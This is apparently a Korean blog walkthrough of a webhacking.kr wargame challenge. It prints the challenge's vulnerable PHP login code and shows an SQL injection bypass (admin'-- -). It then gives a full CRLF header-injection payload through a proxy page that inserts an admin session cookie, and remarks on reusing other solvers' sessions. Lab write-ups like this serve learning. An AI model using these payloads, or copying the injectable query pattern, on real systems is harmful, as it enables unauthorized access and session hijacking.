리뉴얼 전의 웹해킹 문제를 풀어본 사람이라면 리뉴얼 전 문제에서 어느정도 힌트를 찾을 수 있다.
이전 문제는 입력 벡터 하나에 파라미터로 헤더에 특정 값만 삽입하면 클리어되었기 때문에 해당 문제의 기술이 언제 쓰이는가에 대한 시나리오 적인 요소를 추가해서 리뉴얼한게 의도가 아닌가 싶다.
admin 페이지와 proxy 페이지 가 존재하고 admin 페이지에서 인증 로그인을 실패했을 때 admin페이지의 소스코드 URL을 볼 수 있다.
소스코드는 아래와 같다.
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
?><hr><a href=./?view_source=1>view-source</a>
세션이 존재할 때와 존재하지 않을 때, 두 부분으로 나눠서 분석한다.
먼저 세션이 존재하지 않을 때에 소스
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
HTTP 인증 로그인버튼을 누르게 되면
사용자 이름에 입력한 값이 $id
라는 변수에
비밀번호에 입력한 값이 $pw
라는 변수에
그리고 $pw
변수의 값은 md5
해시를 한번 거침.
$_SERVER['PHP_AUTH_USER']
과 md5($_SERVER['PHP_AUTH_PW'])
가 쿼리에 각각 들어가게 됨.
쿼리의 결과값으로 id가 존재하면 login 세션에 해당 id를 저장함.
그리고 세션이 존재할 때의 소스
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
로그인이 성공. 쿼리의 결과값으로 무엇인가 존재했다면 login 세션의 값을 출력해줌.
그리고 이 세션의 값이 admin
이 아니라면 "You are not admin"이라는 문자열도 함께 출력함.
만약 이 세션의 값이 admin
이라면 IP의 값이 172.17.0.*
인지 검증을 시도함.
IP의 값이 172.17.0.*
라면 Flag를 출력함.
위를 토대로 admin에서 입력할 수 있는 벡터와 목표를 생각해보면 아래와 같다.
입력 벡터
$_SERVER['PHP_AUTH_USER']
$_SERVER['PHP_AUTH_PW']
목표
-
member 테이블안의
admin
으로 로그인 -
IP가
172.17.0.*
입력 벡터 중 공격에 사용할 벡터를 골라보자.
$_SERVER['PHP_AUTH_PW']
의 경우 md5 함수를 거치므로 사실상 원하는 공격을 하기 힘들다.
공격에 사용되는 입력 벡터는 1. $_SERVER['PHP_AUTH_USER']
로 한다.
그리고 해당 벡터로 목표 1. member 테이블안의 admin
으로 로그인을 해결할수 있다.
소스상 별다른 필터링이 없으므로 $_SERVER['PHP_AUTH_USER']
에 admin'-- -
이라는 값을 입력하여
인증우회를 시도한다.
여기까지라면 다른 sql 문제와 비슷하지만 목표 2. IP가 172.17.0.*
가 발목을 잡는다.
당연히 172.17.0.*
대역대는 private network, 사설망에 속하기 때문에 외부에서 문제를 풀어야하는 입장에서는 목표 2. IP가 172.17.0.*
를 해결하기 힘들다.
목표 2. IP가 172.17.0.*
를 해결하기 위한 방법 중 하나는 프록시(proxy) 를 이용한다.
https://jcdgods.tistory.com/322
프록시를 검색하면 그에 대한 내용이 많이 나온다.
이번 문제의 구조는 리버스 프록시와 비슷한 형태를 띄고있다.
즉 내부에서만 접근한 서버를 공격자는 외부에서 접근가능한 내부 프록시 서버를 이용하여 내부 서버에 요청을 보내는 것과 같은 구조이다.
내부 서버의 입장에서 보았을때 프록시 서버에서 온 요청은 내부으로 인식한다.
공격자 입장에서는 프록시 서버를 IP 우회의 용도로 사용한 것.
여기까지 문제의 의도를 정리하면 다음과 같다.
$_SERVER['PHP_AUTH_USER']를 통해 admin 세션을 탈취한 뒤, proxy.php에서 admin 세션을 담은 admin 페이지를 요청한다.
admin 세션은 위에서 탈취했으니 proxy.php에서 admin 세션을 담은 admin 페이지를 요청하면 된다.
문제 내에 있던 프록시 페이지(proxy.php)는 이렇게 생겼다.
page 파라미터에 url을 요청하면 해당 url의 요청/응답 값을 페이지에 출력한다.
다만 문제는
Request Header에 무언가를 삽입할 수가 없고 접근하기만 한다.
?page=/admin/
그렇기 때문에 페이지는 401 에러를 응답한다.
프록시 페이지의 Request Header에 세션 값을 삽입할 수 있게 우회를 해야한다.
프록시 페이지에서는 Header Injection을 이용한다.
말 그대로 Header에 원하는 값을 주입할 수 있는 공격이다.
개행 문자(%0d%0a)를 이용한다. 다른 공격에서 개행문자를 이용한 bypass를 할 때는 "%0a" 만 쓰거나 "%0a%0d" 이런 식으로 써도 우회가 되는 공격이 있는 반면, 이번 Injection에는 확실하게 "%0d%0a" 형태를 지켜주어야만 성공한다.
프록시 페이지 내에 출력되어 보이는 개행형태와 실제 보내진 형태는 다를 수 있다.
요청 1
?page=/%20HTTP/1.1
요청 2
?page=/%20HTTP/1.1%0d%0aHost:%20webhacking.kr:10008%0d%0aConnection:%20Close%0d%0a%0d%0a
두 요청의 차이점을 보자.
일단 /%20HTTP/1.1
와 /%20HTTP/1.1%0d%0aHost:%20webhacking.kr:10008%0d%0aConnection:%20Close%0d%0a%0d%0a
라는 url은 존재하지 않는다.
두 요청의 파라미터 값이 전부 url로 인식을 했다면(개행문자를 인식하지 못한다면) 당연히 같은 결과(400 Bad Request)를 줄 것이다.
실제 결과는 아래와 같다.
요청 1은 형태가 잘못되어 400 Bad Request 가 응답된 반면
요청 2의 경우 400 Bad Request 에러가 발생하지 않았다.
두 요청을 통해 개행문자가 개행으로 인식된다는 것을 확인했다.
Request Header에 원하는 값을 넣을 수 있다.
헤더에 무슨 값을 넣어야할 지는 아래의 소스에서 유추할 수 있다.
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
Request Header에 세션 값이 없어 위의 분기문에서 조건을 충족하지 못하고 401 에러로 빠졌으므로
이번 우회를 통해 Header에 넣어야할 값은 admin의 세션 쿠키 값이 된다.
요청2 의 파라미터값에 Cookie: PHPSESSIONID=1b5psmmmgjbmrhjgnurk2r3gcl
를 추가 시킨다. (url은 "/"에서 "/admin/"으로)
최종 페이로드는 아래와 같이 된다.
?page=/admin/%20HTTP/1.1%0d%0aHost:%20webhacking.kr:10008%0d%0aCookie:%20PHPSESSID=1b5psmmmgjbmrhjgnurk2r3gcl
%0d%0aConnection:%20Close%0d%0a%0d%0a
여담으로 이번 문제는 logout을 사용하지 않으면 세션만료가 되지 않는 것 같다.
누군가 문제를 풀면서 세션 값 1과 2에 각각 guest와 admin에 대한 세션을 생성해놓아서 guest로 로그인한 뒤 세션 값을 살짝 바꿔본 사람이라면 SQLI를 통해 인증우회로 admin에 대한 세션을 생성하지 않아도 해당 구간을 넘어갈 수 있는 꼼수가 있다.
물론 앞으로 세션 값 2가 무조건 admin에 대한 세션이라고는 장담 할 수 없지만 타인이 만든 세션을 사용할 수 있다.
인증 우회 자체에 대한 필터링도 없고 이번 문제의 의도 자체가 인증 우회가 주가 아니라 그다지 상관은 없지만 이런 이슈가 있다는 이야기.
'wargame > webhacking.kr' 카테고리의 다른 글
Webhacking.kr(old) 4번 (3) | 2019.11.13 |
---|---|
webhacking.kr 42번 풀이 (1) | 2018.08.13 |
webhacking.kr 18번 풀이 (0) | 2018.08.13 |
webhacking.kr 34번 풀이 (1) | 2018.08.10 |
webhacking.kr 8번 풀이 (0) | 2018.08.08 |